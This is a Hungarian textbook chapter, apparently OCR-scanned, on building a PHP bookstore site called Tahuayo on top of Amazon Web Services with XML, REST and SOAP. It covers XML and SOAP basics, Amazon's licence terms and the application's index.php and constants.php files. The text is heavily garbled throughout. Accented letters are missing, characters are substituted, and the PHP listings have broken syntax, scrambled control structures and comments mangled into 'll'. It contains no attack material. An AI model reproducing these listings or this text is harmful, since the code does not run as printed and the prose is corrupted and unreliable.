Jelenlegi projektnkkel kt clunk van: az els, hogy megismerjk az XML s a SOAP alapjait, s megrtsk, hogyan dolgoz harunk velk PHP-ben. A msik, hogy ezeker a technolgikat egyttesen hasznlva kommunikljunk a klvilggal. Pldnk hoz az Amazon Web Services programjr vlasztottuk, amely sajt weboldalunk esern is hasznosnak bizonyulhat. Az Amazon mr rgra kinlja partnerprogramjt, amely lehetv teszi, hogy az Amazon ltal forgalmazorr termkeket hirdessnk sajt honlapunkon. A felhasznlk a hivatkozsokat kvetve az Amazon oldaln lv termkoldalakra jumak. Ha valaki a mi oldalunkon tall meg egy adott termker, majd megveszi, jutalkot kaphatunk. A Web Services program lehetv teszi szmunkra, hogy mintegy motorknt hasznljuk az Amazon infrasrruktrjt: sajt oldalunkrl kereshetnk az adatbzisban, s jelenthetjk meg a tallatokar, vagy amig a felhasznl oldalunkar bngszi, ko sarba tehetjk az ltala kivlasztorr termkeket. Ez azt jelenti, hogy a ltogat egszen a fizetsig a rni oldalunkar hasznlja, majd amikor fizetsre kerl a sor, akkor jur t az Amazon oldalra. Oldalunk s az Amazon kzrr krflekppen trtnhet a kommunikci. Az els mdszer az XML over HTTP haszn lata, amit szoks Representarional State Transfernek (REST), azaz reprezentcis llapottvitelnek nevezni. Ha pldul kere sst szeretnnk lefolytatni ezzel a mdszerrel, szoksos HTTP krst kldnk a kivnt informcirt, arnire az Amazon a krt adarokat tartalmaz XML dokumentummal vlaszol. Ezt kveten feldolgozzuk ezt az XML fjlt, majd tetszs szerinti fel letet vlasztva megjelentjk a vgfelhasznlnak az eredmnyeket. Az adatok HTTP-n keresztli kldse s fogadsa nagyon egyszer, de hogy mennyire bonyolult lesz az eredmnyl kaporr dokumentum feldolgozsa, az annak sszetettsgrl fgg. Az Amazonnal folytarorr kommunikci msik mdszere a SOAP hasznlata. A SOAP egyike a Web Services szabvnyos protokolljainak. A nv eredetileg a Simple Object Access Protocol (egyszer objektum-hozzfrsi protokoll) rvidtse volt, de ksbb gy dntttek, hogy a protokoll mgsem annyira egyszer, s gy neve kiss flrevezet. A vgeredmny az lett, hogy a protokollt tovbbra is SO AP-nak hvjuk, de immr nem betsz. Projektnkben SOAP klienst fejlesztnk, amely elkldi a krseket az Amazon SOAP szervernek, s fogadja az attl ka port vlaszokat. Ezek ugyanazokat az informcikat tartalmazzk, rnint az XML over HTTP mdszerrel kaport vlaszok, de ms megkzeltst, egszen pontosan a NuSOAP knyvtrat fogjuk hasznlni az adatok kinyersre. Projektnk vgs clja sajt knyvrtkest weboldalunk ltrehozsa, amely az Amazont hasznlja mgttes alkalmazsknt. Kt alternatv vltoza tot fejlesztnk: az egyiket REST-tel, a msikat SOAP-pal.

564

33. fejezet

Mieltt rtrnnk alkalmazsunk alkotelemeinek bemutatsra, sznjunk egy kis idt arra, hogy megismerjk az XML szerkezett s hasznlatr, illetve ltalnossgban a Web Services felletet!

Ismerkeds
ket.

az

XML-lel

Azok szmra, akik mg nem ismerik az XML-t s a Web Services programot, a kvetkez oldalakon rviden bemutatjuk
Az imnt mr rtuk, hogy az XML az Extensible Markup Language rvidtse, jelentse kiterjeszthet ler nyelv. Specifik

cijt a W3C konzorcium ksztette. Az XML-rl rengeteg informcit tallunk a W 3C XML-rl szl oldaln: http://www. w3.org/XML/. Az XML a Standard Generalized Markup Language (SGML) egyszerstett rszhalmaza. Ha ismerjk mr a HTML-t, vagyis a hiperszveg-ler nyelvet, akkor knnyedn megrtjk majd az XML fogalmait is. (Ha netaln nem ismernnk mg a HTML-t, akkor a rossz vgn kezdtk olvasni ezt a knyvet!) Az XML dokumentumok cmke- (tag) alapszveges formtumok. A 33.1 pldakdban pldaknt kzlt XML dokumen tum az Amazon ltal- adott paramterekkel rendelkez XML over HTTP krsre- kldtt vlasz. (A projekt kdjaiban a korbbi fejezetektl eltrerr- nem fordtjuk le a vltozkat, fggvnyeket stb., illetve a bngszben megjelen szveges ele meket. Mivel kdunk az Amazonnal fog kommuniklni, ragaszkodnunk kell az Amazon ltal megkvetelt vltoznevekhez.) 33.1 pldakd: A knyvnk els kiadst ler XML dokumentum
<?xml version="l.O" encoding="UTF-8"?> <ItemLookupResponse xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23"> <Items> <Request> <IsValid>True</IsValid> <ItemLookupRequest> <IdType>ASIN</IdType> <Itemid>0672317842</Itemid> <ResponseGroup>Similarities</ResponseGroup> <ResponseGroup>Small</ResponseGroup> </ItemLookupRequest>

33

</Request> <Item> <ASIN>0672317842</ASIN> <DetailPageURL>http://www.amazon.com/PHP-MySQL-Development-Luke Welling/dp/0672317842%3F%26linkCode%3Dspl%26camp%3D2025%26creative%3D165953%26crea tiveASIN%300672317842 </DetailPageURL> <ItemAttributes> <Author>Luke Welling</Author> <Author>Laura Thomson</Author> <Manufacturer>Sams</Manufacturer> <ProductGroup>Book</ProductGroup> <Title>PHP and MySQL Web Development</Title> </ItemAttributes> <SimilarProducts> <SimilarProduct> <ASIN>1590598628</ASIN> <Title>Beginning PHP and MySQL: From Novice to Professional, Third Edition </SimilarProduct> <SimilarProduct> <ASIN>032152599X</ASIN> {Beginning from Novice to Professional)</Title>

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

565

<Title>PHP

6 and MySQL 5

for Dynamic Web Sites:

Visual QuickPro Guide</Title> </SimilarProduct> <SimilarProduct> <ASIN>BOOOOSUL4F</ASIN> <Title>JavaScript Definitive Guide</Title> </SimilarProduct> <SimilarProduct> <ASIN>l590596145</ASIN> <Title>CSS Mastery: </SimilarProduct> <SimilarProduct> <ASIN>0596005431</ASIN> <Title>Web Database Applications with PHP 2nd Edition</Title> </SimilarProduct> </SimilarProducts> </!tem> </Items> &amp; MySQL, Advanced Web Standards Solutions</Title>

A dokumentum az albbi sorral kezddik:


<?xml version="!.

o" encoding="UTF-8"?>

Ez a szabvnyos deklarci azt jelzi, hogy a most kvetkez dokumentum UTF-8 karakterkdolst hasznl XML lesz. Nzzk meg most a dokumentum trzst! Az egsz dokumentum nyit s zr cmkeprokbl ll, olyanokbl, rnint pldul a nyit s zr !tem cmke:
<!tem>

</!tem>

Az !tem pontosan olyan elem, rnint arnilyenekkel HTML-ben tallkozhatunk. St, a HTML-hez hasonlan itt is begyaz hatjuk az elemeket, rnint ahogy azt a fenti pldban az !tem elemen bell az ItemAttributes elemmel tettk, amin bell tovbbi elemeket (pldul Author) tallunk:
<ItemAttributes> <Author>Luke Welling</Author> <Author>Laura Thomson</Author> <Manufacturer>Sams</Manufacturer> <ProductGroup>Book</ProductGroup> <Title>PHP and MySQL Web Development</Title>

1-J

Ugyanakkor nhny klnbsget is meg kell emltennk a HTML-hez kpest. Az els, hogy rninden nyitcmkhez zrcmke is szksges. Kivtelt kpeznek e szably all az res elemek, amelyek- rnivel nem tartalmaznak szveget- egyet len cmkben nyitdnak s zrdnak. Ha dolgoztunk mr XHTML-lel, pontosan ezrt lthattuk a <br> cmke helyett a <br
/>-t.

Ezen tlmenen minden elemet szablyosan kell begyazni. Egy HTML rtelmezt minden bizonnyal nem

zavar a <b><i>Szveg</b></i>, de az XML vagy XHTML rvnyessghez szablyosan kell begyazni a cmkket:
<b><i>Szveg</i></b>.

Taln mr szrevettk, hogy az XML s a HTML kztt az a legfbb klnbsg, hogy elbbiben sajt cmkket hozharunk ltre. Ez adja az XML rugalmassgt, hiszen a trolni kvnt adatoknak megfelel szerkezet dokumentumokat hozhatunk lt re. D ocument Type Definitiont ( dokumentumtpus-defincit, DTD) vagy XML Schemt rva formba nthetjk XML do kumentumaink struktrjt. Mindkettt arra hasznljuk, hogy lerjuk egy adott XML dokumentum szerkezett. Ha a DTD-t vagy a Schemt osztlydeklarciknt kpzeljk el, akkor pedig az XML dokumentum az adott osztlynak lesz egy pldnya. Mostani pldnkban nem hasznlunk sem DTD-t, sem Schemt. Az Amazonnak a Web Services fellethez tartoz aktulis XML smjt a http:/ /webservices.amazon.com/ AW SECommerceService/AW SECommerceService.xsd oldalon talljuk. Az XML smt kzveclenl bngsznkben meg tudjuk nyitni.

566

33. fejezet

Lthatjuk, hogy az els sotban szeteplXML deklarcit leszmtva a dokumentum teljes trzst az ItemLookupResponse elemen bell talljuk. Ezt a dokumentumgykrelemnek ( root element) nevezzk. Vizsgljuk meg kzelebbrl:
<ItemLookupResponse xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23">

Az elem egy viszonylag szokadan attribtummal rendelkezik: XML

nvterek (namespace). Projektnk megvalstshoz

nem szksges megrtennk a nvterek mkdst, mgis hasznos lehet, ha tisztban vagyunk a fogalom jelentsvel.Az alap gondolat az, hogy nvtrhez kapcsoljuk az elemek s attribtumok nevt, gy a gyakori nevek nem fognak tkzni akkor sem, amikor klnbz forrsokbl szrmaz dokumentumokkal dolgozunk. Ha szeretnnk tbbet megtudni a nvterekrL olvas suk el a , amespaces inXML Recommendation" (XML nvterekre vonatkoz ajnls) dokumentumot a http:/ /www.w3.org/ N . TR/REC-xml-names/ oldalon! Ha ltalnossgban szeretnnk tbbet megtudni azXML-rl, szmos informciforrsbl tjkozdhatunk.A W3C oldala kivl kiindulsi pont, de tbb szz kivl knyvet s webes oktatanyaget is rtak mr errl a tmrl.Az ZVON.org oldalon nagyszer webes oktatanyagokat tallunk azXML-hez.

Web Services
A Web Services, vagyis webes szolgltatsok az interneten keresztl elrhet alkalmazsfelletek. Ha objektumorientlt fo galmakban gondolkodunk, egy adott Web Service olyan osztlynak tekinthet, amely az interneten keresztl teszi kzz nyil vnos metdusait.A Web Services immr szles krben elterjedt koncepci, s az iparg nagy nevei kzl egyre tbben teszik egyes funkciikat Web Services segtsgvel elrhetv.A Google, azAmazon, az eBay s a PayPal pldul rnind Web Services szolgltatsok szles vlasztkt kinlja. Miutn a fejezetben vgigvesszk az Amazon fellethez illeszked kliens bellts nak folyamatt, igen egyszeren fejleszthetnk kliensfelletet pldul a Google-hoz is. Ehhez a http:/l code.google.com/apis/ oldalon tallunk tovbbi informcit. Tbbfle magprotokollt hasznlunk a tvoli fggvnyhvs mdszerben.A kt legfontosabb kzlk a SOAP s a WSDL.

SOAP
A SOAP olyan, krs s vlasz ltal vezrelt zenerkld protokoll, amely lehetv teszi a klienseknek Web Services szolgl tatsok meghvst, illetve lehetv teszi a kiszolglknak, hogy vlaszoljanak az ilyen krsekre. Minden SOAP zenet, gy a krsek s a vlaszok is egyszerXML dokumentumok.A 33.1 pldakdban azAmazonnak kldhet SOAP krsre ltunk pldt. Ez a krs vltotta ki a 33.1 pldakdban ltottXML-t. 33.2 pldakd:

SOAP krsASIN alapjn trtn keressre

33

<SOAP-ENV:Envelope> <SOAP-ENV:Body> <m:ItemLookup> <m:Request> <m:AssociateTag>webservices-20</m:AssociateTag> <m:IdType>ASIN</m:IdType> <m:Itemid>0672317842</m:Itemid> <m:AWSAccessKeyid>OXKKZBBJHE7GNBWF2ZG2</m:AWSAccessKeyid> <m:ResponseGroup>Similarities</m:ResponseGroup> <m:ResponseGroup>Small</m:ResponseGroup> </m:Request> </m:ItemLookup> </SOAP-ENV:Body>

A SOAP zenet elszr is deklarlja, hogy XML dokumentummal llunk szemben. Minden SOAP zenetnek SOAP Envelope a gykreleme. Ezen bell talljuk a Body elemet, amely magt a krst tartalmazza. A krs egy ItemLookup, ami pldnkban arra kri azAmazon kiszolgljt, hogy azASIN kd (Amazon.com Standard !tem Number, azaz Amazon.com szabvnyos ttelszm) alapjn keressen ki az adatbzisbl egy adott ttelt.AzAmazon.com adatbzisban minden egyes termkhez ezt az egyedi azonostt rendelik hozz. Az ItemLookup krst tvoli gpen trtn fggvnyhvsknt, elemeit pedig az ennek a fggvnynek tadand para mterekknt kpzelhetjk el.A fenti pldban az IdType elemben tadjuk az,.ASIN" ttket, majd magt azASIN kdot

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

567

(0672317842) az I temld elemben kldjk el az Amazon kiszolgljnak; ez a kd knyvnk els kiadsra hivatkozik. t kell adnunk mg Amazon partnerkdunkat (Associate ID), amit az Associa teTag elemben tesznk meg; a vlaszok krt tpust (a ResponseGroup elemben); illetve az AWSAccessKeyld-t, ami egy, az Amazon ltal neknk adott fejleszti tokenrtk ( developer token value). Az erre a krdsre kapott vlasz a 33.1 dokumenrumban ltott XML dokumenrurnhoz hasonl- azzal a klnbsggel, hogy SOAP Envelope elem fogja kzre. SOAP hasznlata esetn- programozsi nyelvtl fggetlenl- ltalban programozssal, egy SOAP knyvtrat hasznl va lltjuk el a SOAP krseket, s rtelmezzk az azokra rkez vlaszokat. Ez azrt elnys, mert megkiml bennnket a SOAP krsek sajt kez ltrehozsrl, illetve a vlaszok hasonlkppeni rtelmezstL
WSDL
A WSDL a Web Services Description Language (webszolgltats-ler nyelv) rvidtse. (Gyakran.,vizdl"-nek ejtik.) A nyelv arra szolgl, hogy lerjuk vele az adott weboldalon elrhet szolgltatsokhoz tartoz felletet. Ha szeretnnk ltni a fe jezetben hasznlt Amazon Web Services szolgltatsokat ler W DSL dokumenrumot, a http:llecs.amazonaws.coml AWSECommerceServicelAWSECommerceService.wsdl oldalon talljuk meg. Ha rkaetinrunk erre a hivatkozsra, ltjuk, hogy a WSDL dokumenrumok sokkal sszetettebbek, mint a SOAP zenetek. ppen ezrt, ha egy md van r, rninden esetben programozssal fogjuk ellltani s rtelmezni azokat. Ha szeretnnk tbbet megrudni a WSDL-rl, olvassunk bele a http:llwww.w3.orgiTR/wsdl201 oldalon elrhet W3C ajnlsba!

A megolds alkotelemei
A projekthez fejlesztend megolds tbb elembl ll. A nyilvnvalan szksges alkotelemeken- pldul a ltogatink sz mra kialakitand kosrfunkcikon, illetve az Amazonhoz REST vagy SOAP segtsgvel val kapcsolds kdjn - tl n hny segdalkalmazsra is szksgnk lesz. Kdunknak rtelmeznie kell a visszakapott XML dokumenrumokat ahhoz, hogy kinyerjk bellk a kosr ltal megjelentett informcikat. Az Amazon elvrja, illetve alkalmazsunk teljestmnyt is nveli a gyorsttrazs. Mivel a vsrls vgn a fizets az Amazonnl trtnik, valarnilyen mdon t kell adni a vsrli kosr tartal mt az Amazonnak, illetve magt a vsrlt is t kell adnunk az Amazon szolgltatsnak. Rendszernk megjelentsi (front end) rtegben nyilvnvalan ltre kell hozni a kosr funkcit . Ezt a Kosr funkci prog ramozsa cm 28. fejezetben mr megrettk. Mivel projektnk kzppontjban nem az online vsrls ll, ebben a fejezetben egy leegyszerstett alkalmazst fogunk hasznlni. Pusztn alapszint kosrra van szksgnk, ami kpes nyomon kvetni, hogy rnit vlasztott ki a vsrl, majd fizetskor kzli ezt az Amazonnal.
Az Amazon Web Services fellet hasznlata

33

Az Amazon Web Services fellet hasznlathoz regisztrlnunk kell a http:llaws.amazon.com oldalon, ahol fejleszti tokent kapunk. Ez a token azonost bennnket az Amazonnl, amikor krseink berkeznek. rdemes lehet Amazon partnerazonostt (Associate ID) is ignyelni, mert gy jutharunk hozz a jutalkhoz, amit a ltoga tk ltal felletnkn keresztl vsrolt termkek utn fizet az Amazon. Az Amazon Web Services (AWS) Resource Center for Developers (Amazon webszolgltatsok informcis kzpontja fejlesztknek), amit a http:ll developer.amazonwebservices.coml oldalon rnk el, rengeteg dokumentcit, oktatanyagat s mintakdot kinl, amelyek mind az Amazon Web Services szolgltatsokhoz val kapcsaldst segtik. A fejezetben szerepl pldn vgigmenve mkd rendszert fejlesztnk, s megismerkednk az AWS-hez kapcsolds s az informcilekrs alap jaival, de ha szeretnnk az itt bemutatott alkalmazsbl kiindulva les weboldalt fejleszteni, akkor sznjunk nmi idt a do kumentci alaposabb megismersre! Pldul sokfle elemet kereshetnk s nyerhetnk ki a tallz- s a keresinterfszek segtsgve!. Attl fggen, hogy milyen elemekre van szksgnk, a visszakapott adatok klnbz struktrjak lehetnek. Minden informci dokumentlva van a weboldalrl elrhet AWS Developer Guide-ban.

Megjegyzs: Hasonlan rtkes informciforrs az AWSZone.com (http://www.awszone.com/). Ezen az oldalon tesztelhet


jk SOAP s REST lekrdezseinket, s lthatjuk a krsek, illetve a vlaszok struktrjt. !gy tudni fogjuk, hogyan hivatkoz zunk a visszakapott adatokra. A tesztvlaszok alapjn meghatrozhatjuk a pontos ResponseGroup tpust, amit a legjobb s leggyorsabb eredmnyek rdekben hasznlnunk rdemes.

568

33. fejezet

A fejleszti token ignylse rdekben trtn regisztrcinl el kell fogadni a licencszerzdst. rdemes elolvasni, mert ez nem teljesen olyan, mint a megszekott - s soha el nem olvasott- szoftverlicencek. A fejleszts szempontjbl fontos licencfel ttelek a kvetkezk: Msodpercenknt legfeljebb egy krst intzhetnk. Gyorsttraznunk kell az Amazontl rkez adatokat.

Az adatok tbbsgt 24 rig, egyes lland attribrumokat legfeljebb hrom hnapig tartharunk a gyorsttrban. Ha egy rnl hosszabb idre gyorsttrazzuk az rakat s a termkek elrhetsgt, akkor nyilatkozatot kell kzzten nnk felelssgnk korltozsrl. Hivatkozsainknak az Amazon.com megfelel oldalra kell mutamiuk, s nem szabad az Amazon oldalrl letlttt szveget vagy kpeket ms zleti weboldalon megjelenteni.

Ha ilyen nehezen kibetzhet domainnevet vlaszrunk, nem reklmozzuk magunkat, s semmilyen nyilvnval ok nincs arra, hogy a ltogatk a Tahuayo.com oldalt hasznljk ahelyett, hogy kzveclenl az Amazon.com-ra mennnek, akkor egyl taln nem kell aggdnunk azon, hogy a krsek szmt msodpercenknt egy alatt tartsuk. Projektnkben gyorsttrazst alkalmazunk annak rdekben, hogy megfeleljnk a 2-4. pontban megfogalmazott kvetel mnyeknek. Alkalmazsunk 24 rig trolja gyorsttrban a kpeket, a termkadatokat (gy az rakat s a kszletinformci kat) pedig egy rig troljuk el itt. A ltrehozand alkalmazsunk az tdik pontnak is megfelel. Azt szeremnk, hogy a foldalon lv elemek weboldalunk rszletes termkoldalaira mutassanak, de ha a vsrl vgzett a megrendelssel, tkldjk t az Amazon oldalra.

XML rtelmezse: REST vlaszok


Az Amazon ltal a Web Services szolgltatsaihoz knlt legnpszerbb fellet REST-en keresztl mkdik. A fellet szak sos HT T P krst fogad, s XML dokumentumot ad vissza. Hasznlathoz rtelmeznnk kell az Amazon ltal visszakldtt XML vlaszokat. Ezt a PHP SimpleXML knyvtrval tehetjk meg.

SOAP hasznlata PHP-vel


Az ugyanezeket a Web Services szolgltatsokat knl msik fellet a SOAP. A szolgltatsok SOAP ltali elrshez a k lnbz PHP SOAP knyvtrak valamelyikt kell ignybe vennnk. Ltezik ugyan beptett SOAP knyvtr, de mert az nem mindig lesz elrhet, a NuSOAP knyvtrat is hasznlhatjuk. Mivel a NuSOAP PHP-ben rdott, nem szksges fordtani. Egyetlen f:ijl, amit a re qu ire one e ( ) fggvnnyel knnyedn behvhatunk. _ A NuSOAP a http://sourceforge.net/projects/nusoap/ oldalrl rhet el. Lesser GPL licenc alatt hasznlhat, ami azt

33

jelenti, hogy brmilyen, akr zleti alkalmazsokban is dolgozharunk vele.

Gyorsttrazs
Korbban mr emltettk, hogy az Amazon felttelei kztt szerepel az is, hogy az Amazonrl a Web Services szolgltatsok kal letlttt adatokat gyorsttrazni kell. Projektnkben ezrt megoldst kell tallni arra, hogy a letlttt adatokat rvnyess gi idejkig a gyorsttrban eltroljuk, illetve a gyorsttrbl hasznljuk azokat.

A megolds ttekintse
A 29. s a 30. fejezet projektjhez hasonlan itt is esemnyvezrelt megkzeltssel futtatjuk a kdot. Ennl a projektnl elte kintettnk a rendszer folyamatbrjnak megrajzolstl, mert pusztn nhny kpernybl ll a rendszer, s egyszer kapcso lat ll fenn ezek kztt. A felhasznlk elszr a Tahuayo foldalt ltjk, amit a 33.1 bra mutat.

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

569

c::::J
._, t..-

33.1 bra: A Tahuayo nyitoldala a honlap minden Jontos Junkcijt megjelenti:

a kategrik kztti naviglst, a keresst s a kosarat. Lthatjuk, hogy az oldal fbb funkcii a Selected Caregories (Kivlas:;tott kategrik), illetve az azokba tarto:; termkek megjelentse. A nyitoldalon alaprtelmezsben az ismeretterjes:;t irodalom kategria pillanatnyilag legjobban fogy kiadv nyait tallj uk. Ha a felhas:;nl msik kategrira kattint, annak a kategrinak a hasonl oldalt lthatja megjelenni. Mieltt tovbbmennnk, ris:;thnunk kell egy fontos fogalmat. A:; Amazon bngszs i csompontnak (browse node) nevezi a kategrikat. Kdunkban s a hivatalos dokumenrumban soks:;or tallko:;hatunk e:;:;el a kifejezssel. A dokumentciban megtalljuk a nps:;er bngszsi csompontok listjt. Ha ezen tlmenen adott kategrira lenne siksgnk, bngs:; s:;nk a s:;oksos Amazon.com oldalon, s olvassuk be az URL-bl, vagy pedig has:;nljuk a http://www.browsenodes.com/ oldalon elrhet Browse Nodes forrst! Elg idegest mdon nhny fontos kategrit, k:;tk pldul a sikerlists knyveket nem lehet bngssi csompontknt elrni. A:; oldal aljn tovbbi knyveket s ms oldalakra mutat hivatkosokat tallunk, de e:;ek a kpernymentsen nem ltha tk. Minden oldalon 10 knyvet fogjunk megjelenteni, illetve legfeljebb 30, msik oldalra mutat hivatkost. A2: oldalanknti tzes rtket az Ama:;on hatro:;ta meg. az oldalanknti harmincas korltot pedig rni magunk vlas:;tottuk. A felhas:;nlk innen az egyes knyvek rs:;letes adatait megjelent oldalakra mehemek. Ilyen kpernyt lthatunk a 33.2 brn.
._-_....., ,.._.... --..... .

com ...
....1 .. ,

Sdeaed CMegori6

t::::J '
-

33
'

Tlwee C:..,. of Te.: One MlM1'.1 to Promote Pece . . One


SctlOG et a T"-e llrGfte--O...Itolo ,..._lDD7-0I.J0

t.J.tpda<IIJ.00SAW$7.H !S&M.I4!Cl\H"

........... ) 0.."*-:n.

a..

.".__ *****
..... u ..-,.t..oWl4-

!!:o.,IW!wsDw"'*'tlMWmMQeele!!'t+IM:t.l!ppiiJW.
"'KoioJJo:Jon.

33.2 bra: A rszletes termkoldalakon tovbbi informcikat kapunk egy adott knyvrl, rtkelseket olvashatunk rla,

illetve hasonl kiadvnyokat tallunk itt. Br a kpernymentsre nem frt r, a kd az Amazon ltal kldtt informcik tlnyom rs:;t megjelenti az oldalon.

gy dntttnk, hogy oldalunkon csak a knyvekkel foglalko:;unk, s nem jelentjk meg a:;on kategrik listjt sem, ame
lyekbe az adott kiadvny nem illik bele. Ha a felhas:;nl egy bort kpre kattint, nagyobb mretben lthatja. Taln s:;revettk mr az brkon a kperny fels rsn lv keressi me:;t. E:;:;el a funkcival kulcss:;avas keresst indt hatunk az oldalon, amely a Web Services felleten keres:;tl fog az Amazon katalgusban keresni. A 33.3 bra a keress egy mintaeredmnyt mutatja.

570

33.fezet

33.3 bra: A kpernyn a batman szra keress eredmnyt ltjuk. Annak ellenre, hogy projektnkben csak nhny kategrit listzunk ki, a felhasznlk a keressi funkcival s az adott knyvekre naviglva brmelyik kiadvnyhoz eljuthatnak. Minden egyes knyvhz tartozik egy .Add to Cart" (Kosrba) hi vatkozs. Ha a felhasznl erre vagy a kosr.,Details" (Rszletek) linkjre kattint, akkor megjelenti a kosr tartalmr. Ezt az oldalt ltjuk a 33.4 brn.

33
33.4 bra: A kosr oldaln a vsrl egyenknt trlheti a kosrban lv tteleket, kirtheti kosart, illetve fizethet. Vgl, amikor a vsrl a.,Checkout" (Fizets) hivatkozsra kattintva fizetni kszl, kosarnak adatait elkldjk az Amazon ra, s t is tirnytjuk oda. Ekkor a 33.5 brn lthathoz hasonlhoz kpernyvel tallkozik. Most mr taln mindenki ltja, hogy mit rtnk az alatt, hogy elksztjk sajt felhasznli felletnket, s az Amazon oldalt hasznljuk mgttes infrastrukrraknr. Mivel ez a projekt is esemnyvezrelt megkzeltst kvet, az alkalmazs dnrshoz logikjnak nagy rsze egyeden fJlban tallhat tartalmazza.

(index. php). A projekt fjljainak sszefoglalst a 33.1 tblzat

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

571

---l l l .ll:lill fQag 112l!!l l

33.5 bra: Mieltt az Amazon kosarba kerlnek a termkek, a rendszer visszaigazolja a tranzakcit, s a Tahuayo kosarbl mutaga az sszes kivlasztott ttelt. 33.1 tblzat: A Tahuayo alkalmazs fjljai
Fjlnv
index.php about.php constants.php topbar.php

Tpus

Lers

Alkalmazs Alkalmazs Beillesztett fjl Beillesztett fjl Beillesztett fjl Osztlyfjl Osztlyfjl Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek

Az alkalmazs magjt alkot kdot tartalmaz fjl Az About (Rlunk) oldalt jelenti meg A globlis llandk s vltozk egy rszt lltja be Az egyes oldalak tetejn lthat informcis svot s a CSS-t hozza ltre Az egyes oldalak aljn lv lblcet lltja el Az egyes Amazon-Iekrdezsek eredmnyt trol PHP osztlyt tartalmazza Az egyes knyvek adatait tartalmaz PHP osztlyt tartal mazza Az egyes knyvek s knyvlistk megjelentst lehetv tev fggvnyeket tartalmazza Az Amazon ltal megkvetelt gyorsttrazs vgrehajts hoz szksges fggvnyeket tartalmazza A kosr funkcihoz kapcsold fggvnyeket tartalmazza A kategrik visszakeresst s megjelentst segt fggv nyeket tartalmazza Az alkalmazs klnbz pontjain hasznlt segdfggvnye ket tartalmazza

bottom.php AmazonResultSet.php

Product.php

bookdisplayfunctions.php

cachefunctions.php

33

cartfunctions.php categoryfunctions.php

utilityfunctions.php

A korbban mr emltett nusoap.php fjlrl sem szabad elfeledkeznnk, mert ezekben a fjlokban szksgnk lesz r. A NuSOAP a knyv letlthet mellkletnek 33_fej ezet mappjban tallhat, de ha idkzben megjelent mr j verzi ja, a http:/ l sourceforge.net/ projects/ nusoap/ oldalrl letlthetjk. Vgjunk bele a projekebe az alkalmazs gerinct kpez index.php rtanulmnyozsval!

Az alkalmazs magja
Az index.php fjl kcljt a 33.3 pldakdban talljuk.

572

33. fejezet

33.3 pldakd: index.ph p -Az alkalmazs gerince


<?php

ll egyetlen munkamenet-vltozt ('eart') hasznlunk a kosr tartalmnak trolsra


session_start();

require once('constants.php'); require_once('Product.php'); require_once('AmazonR esultSet.php'); require_once('utilityfunctions.php'); require_once('bookdisplayfunctions.php'); require_once('cartfunctions.php'); require_once('categoryfunctions.php');

llEzeket a vltozkat kvlrl vrjuk. llEllenrizzk, majd globlis vltozkra konvertljuk ket
$external = array('action', 'ASIN', 'made', 'browseNode', 'page', 'search') ;

ll a vltozk Get vagy Post mdszerrel rkezhetnek ll alaktsuk t az sszes vrt kls vltoznkat rvid globlis nevekre!
foreach ($external as $e) if(@$_REQ ST[$e]) l U E $$e = $_REQ ST[$e]; E U else

$$e = '';

$$e

trim($$e);

ll alaprtelmezett rtkek a globlis vltozknak


if($made==")

l ll Semmilyen ms mddal nem foglalkozunk a pldban

33

$made = 'Books';

if($browseNode=='') $browseNode if($page=='') $page = l; //Els oldal - oldalanknt 10 ttel

53; //az 53 a legjobban fogy ismeretterjeszt knyv kategrija

ll beviteli adat ellenrzse/megtiszttsa


if(!eregi('[A-Z0-9]+$', $ASIN =''; $made)) $ASIN)) hogy legyen

ll az ASIN alfanumerikus kell,

if(!eregi('[a-z]+$', $made = 'Books'; $page=intval($page); $browseNode

ll a md csak betkbl llhat

ll az oldalaknak s a bngszsi csompontoknak ll egsznek kell lennik

intval($browseNode);

ll Els pillantsra taln kevss rthet,

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

573

ll de az albbi kdrsz pusztn arrl szl, ll hogy a $search vltozt megszabadtjuk a nem kvn rtkektl $search = safeString($search);

if(!isset($_SESSION['cart'])) session_register('cart'); $ SESSION['cart'] = array();

ll a fels sv megjelenitse eltt vgrehajtand feladatok if($action == 'addtocart') addToCart($_SESSION['cart'], $ASIN, $mode);

if($action == 'deletefromcart') deleteFromCart($_SESSION['cart'], $ASIN);

if($action == 'emptycart') $ SESSION['cart'] = array();

ll fels sv megjelenitse require_once ('topbar.php'); ll f esemnyhurok. A felhasznl ltal vgrehajtott mveletre vlaszol switch ($action) case 'detail': showCategories($mode); showDetail($ASIN, break; $mode);

case 'addtocart': case 'deletefromcart': case 'emptycart': case 'showeart': echo "<hr l><hl>Your Shopping Cart<lhl>"; showCart($_SESSION['cart'], break; case 'image': showCategories($mode); echo "<hl>Large Product Image< lhl>"; showimage($ASIN, $mode); break; case 'search' : showCategories($mode); echo "<hl>Search Results For ".$search."<lhl>"; showSearch($search, break; case 'browsenode': default: showCategories($mode); $page, $mode); $mode);

574

33. fejezet

$category = getCategoryName($browseNode); if(! $category

l l

($category==' Be st Selling Books'))

echo "<hl>Current Best Sellers<lhl>"; else echo "<hl>Current Best Sellers in ".$category."<lhl>";

showBrowseNode($browseNode, break;

$page,

$mode) ;

require ('bottom.php'); ?>

Nzzk vgig ezt a fjlt! Elszr is ltrehozunk egy munkamenetet (session). A korbbiakhoz hasonlan irt is munkamenet vltozknt troljuk a vsrl kosart. Ezt kveten tbb fjlt is beillesztnk. Tbbsgk ksbbiekben bemutatand fggvny, de az elsknt beillesztert fjllal rdemes most kln foglalkoznunk. Ez a constants.ph p nhny fontos llandt s vltozt defi nil, olyanokat, amiket az egsz alkalmazsban hasznlni fogunk. A constants.php tartalmt a 33.4 pldakdban talljuk.
33.4 pldakd: constants.php -A fbb globlis llandk s vltozk deklarlsa
<?php ll az alkalmazs REST (XML over HTTP) vagy SOAP ll definiljuk a kivlasztott mdszert! ll de fine('METHOD', define( 'METHOD', 'SOAP'); segtsgvel kapcsoldhat

'REST');

ll ne felejtsk el ltrehozni a cache knyvtrat, define('CACHE', 'cache');

s tegyk rhatv!

l l gyorsttrazott fjl ok elrsi tvonala ll rjuk be ide partnerkdunkat!

define('ASSOCIATEID', define('DEVTAG',

'XXXXXXXXXXXXXX');

'XXXXXXXXXXXXXX');

ll rjuk be ide fejleszti tokennk rtkt!

ll hibt ad,

